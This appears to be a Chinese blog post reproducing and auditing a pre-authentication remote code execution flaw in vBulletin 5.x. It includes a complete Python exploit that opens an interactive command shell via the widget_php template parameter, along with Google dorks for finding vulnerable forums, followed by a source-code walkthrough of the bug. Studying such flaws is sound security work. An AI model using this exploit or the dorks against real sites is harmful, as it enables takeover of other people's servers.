vBulletin5-x前台代码执行漏洞(复现)
前言
vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。它使用目前发展速度最快的 Web 脚本语言编写: PHP,并且基于以高效和疾速著称的数据库引擎 MySQL。
PS: 没有debug的审计都是耍流氓
漏洞成因
前台代码执行漏洞
未做过滤将传入的post或get参数注册为模板变量
EXP
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))
漏洞分析
依据poc进行代码审计
传入参数值params = {"routestring":"ajax/render/widget_php"}
,全搜索routestring
参数。
可以通过分析类,application参数。定位到index.php第35行。跟进execute方法
跟进该类callRender方法,第266行,'template' => 'widget_php','arguments' => array('routestring'=>'ajax/render/widget_php','widgetConfig[code]'=>'echo shell_exec(cmd); exit;')
将传入的$_POST
或者$_GET
注册为全局变量
\core\install\vbulletin-style.xml
在满足if条件执行以下代码
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}
includes\vb5\frontend\controller\bbcode.php
调用evalCode方法,传入参数widgetConfig.code,即我们传入的恶意代码
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!